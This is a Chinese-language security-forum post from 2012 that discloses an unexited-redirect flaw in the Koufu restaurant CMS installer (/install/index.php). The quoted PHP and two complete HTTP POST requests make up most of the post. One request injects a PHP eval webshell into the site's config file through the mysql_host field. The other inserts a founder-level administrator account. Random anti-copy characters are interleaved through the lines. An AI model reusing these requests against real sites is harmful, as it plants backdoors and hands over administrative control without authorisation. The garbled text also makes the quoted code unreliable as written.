找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。2 Y( ]8 Q( E! S7 P0 l3 G3 a3 l$ Y: o3 l

2 u' q% n) e- v7 a- o: l<?php
, `, p+ h4 w. G1 q1 V4 ?if(file_exists("../install.lock"))4 [' l$ j/ w1 n6 @) R- d
{
$ T& l4 {6 R7 i& j2 |( W3 B* |9 f    header("Location: ../");//没有退出/ z4 p. c, n- W) M, ?
}
: z$ E; x, F) C/ S5 a               
: M" G4 h& a. k5 X  T* s$ ?- }//echo 'tst';exit;9 D- Q1 _  H' o0 O+ A" x* G# Q# _
require_once("init.php");
% h5 F- g7 W0 A3 Z0 Gif(empty($_REQUEST['step']) || $_REQUEST['step']==1)9 |. I% W/ i- D' {; A
{( b% Z% O& }: ~( q) J9 V3 D
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
" V0 i6 i9 U3 P6 S! D. b' m4 q8 ]8 {# P% R, i
1、getshell(很危险)7 Z- y* s; I) F
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 ?9 E, s( P4 o/ u) ~  r{
/ L% C# _$ Z2 K  o. y$smarty->assign("step",1);
, J8 B3 M0 B* J8 o* B4 d* t$smarty->display("index.html");
% S& K6 ?8 B* D; X/ p, @}elseif($_REQUEST['step']==2)( h7 f( C1 x8 [
{) F, V) M! P* S1 q, W- S
    $mysql_host=trim($_POST['mysql_host']);& l) E7 I" F7 H2 R" J
    $mysql_user=trim($_POST['mysql_user']);, F- E1 E* p  @1 {* R
    $mysql_pwd=trim($_POST['mysql_pwd']);
2 T7 Q0 l- A, F6 |- O: e- ]9 U' ^    $mysql_db=trim($_POST['mysql_db']);
2 N/ f6 a; z& h) H5 R. Q. G    $tblpre=trim($_POST['tblpre']);
  [* E& b. Q1 v8 l8 X# a+ t    $domain==trim($_POST['domain']);% x0 G- I3 V1 m4 p
    $str="<?php \r\n";* M/ L. I9 E/ o" f/ H# o) A
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
: e( J+ P' D# c; a: p# E4 I0 h+ W* q    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
& s" q  A5 C) ^+ i% S    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
1 ?( w9 q  M, t, z3 L# v% a6 ]    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";" n+ z3 W3 W5 b+ s- K# Q+ z
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
' x2 Y! ?! Z* X$ F0 o    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
* p( r4 t7 T( @2 S; G    $str.='define("DOMAIN","'.$domain.'");'."\r\n";, Z: Q8 o7 Q- W- z' c
    $str.='define("SKINS","default");'."\r\n";
+ ~# @; U( P! a    $str.='?>';
* E. i) G' u4 v- @/ z. P0 G( w' g  \    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
4 x: ^1 }; g- C& i) M+ y# X& C上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
- u8 C; A: q- T+ Y7 XPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
$ l3 @# m! }1 }2 oHost: 192.168.80.129# v& V' n# ^& y" A3 q
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
1 Z8 w$ g6 W  A; c! ?9 I& ?; aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ g# ^* e" B. LAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( @- h) P% f( w1 k1 hAccept-Encoding: gzip, deflate/ }5 e0 i# q1 m4 \9 i* {
Referer: http://192.168.80.129/canting/install/index.php?step=15 |0 w0 ?) B( s* S
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc425 a6 W! `4 \: o) C( J" W
Content-Type: application/x-www-form-urlencoded* \  Q$ C* `; l% A
Content-Length: 126
# l: H+ @5 H% l! g          + W7 Q. A4 N# y; v, l2 ?
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
; Z- p& n( Y- b: Y0 I但是这个方法很危险,将导致网站无法运行。
2 j& }" H. w0 S9 E1 w1 \; S
8 y, o7 z( p3 s# g$ v2、直接添加管理员
; `  x, O8 w' r4 s, E6 o/ y1 s" q, J1 K
elseif($_REQUEST['step']==5)4 S) C. V* x+ l" G1 @
{
/ y7 N- @  U  `! ?# `/ W1 L    if($_POST)
! p: p! t# l9 q! u: }    {   require_once("../config/config.inc.php");* [, G2 ~4 E: L) L5 d- ~
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
- i4 Q# O0 M( D3 `        mysql_select_db(MYSQL_DB,$link);
5 c4 A% ?* n! u4 b: n  f. K+ i. }        mysql_query("SET NAMES ".MYSQL_CHARSET );
  z' r! \+ \3 i8 N9 ?3 @& j         mysql_query("SET sql_mode=''");; d+ q& h, l1 w& c" f

  E9 R3 k: ]' a7 Z/ n  `# q7 } $adminname=trim($_POST['adminname']);/ a7 d+ |6 E( x! ?7 h  \% E! x
        $pwd1=trim($_POST['pwd1']);
) Z! j# _2 x( X        $pwd2=trim($_POST['pwd2']);
2 _, l; g: G4 N        if(empty($adminname))
+ o3 {2 R. X/ y9 K; y  m        {
5 [2 D$ {8 z$ z; W
/ O/ R4 [1 }- B3 Y echo "<script>alert('管理员不能为空');history.go(-1);</script>";5 p- V3 b0 u0 K/ x
            exit();
/ L% u1 z' e8 ~" g$ c. N        }
+ f$ K8 Z: M$ j: v$ s: P        if(($pwd1!=$pwd2) or empty($pwd1))
5 z# W6 {2 T1 f4 y        {
( @" Q8 w+ H" t6 Y            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
3 W& s# h& b* K        }1 G( {% u; H  u1 S# H
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员' X- P" X% s) @; y. |* w
    }
' B! e1 l6 Z, p; ?& z) H这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
: `8 J6 k; H/ FPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
$ H) O6 p* G! ]" M" WHost: 192.168.80.129( k  Q9 L0 \' ?. k7 A; ~# ]6 P7 R. e+ C
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0/ Q3 V. @! @9 p" r! q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, g) N' Q& m; Y, f( }. x
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
' a3 g" q( N# X! m: r) MAccept-Encoding: gzip, deflate
7 a% R/ M; l9 e6 L& @, r8 u* ?Referer: http://www.2cto.com /canting/install/index.php?step=1
  v+ s4 a9 l% W) m/ k8 G" BCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
. g. ~4 \9 R$ Z( @Content-Type: application/x-www-form-urlencoded; T' a% u9 S, F! C9 g
Content-Length: 465 I$ x: P! F' w- V9 [+ V  V
      
* n7 q" }/ v9 _$ M0 \5 Qadminname=qingshen&pwd1=qingshen&pwd2=qingshen​$ [) r. `# U3 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表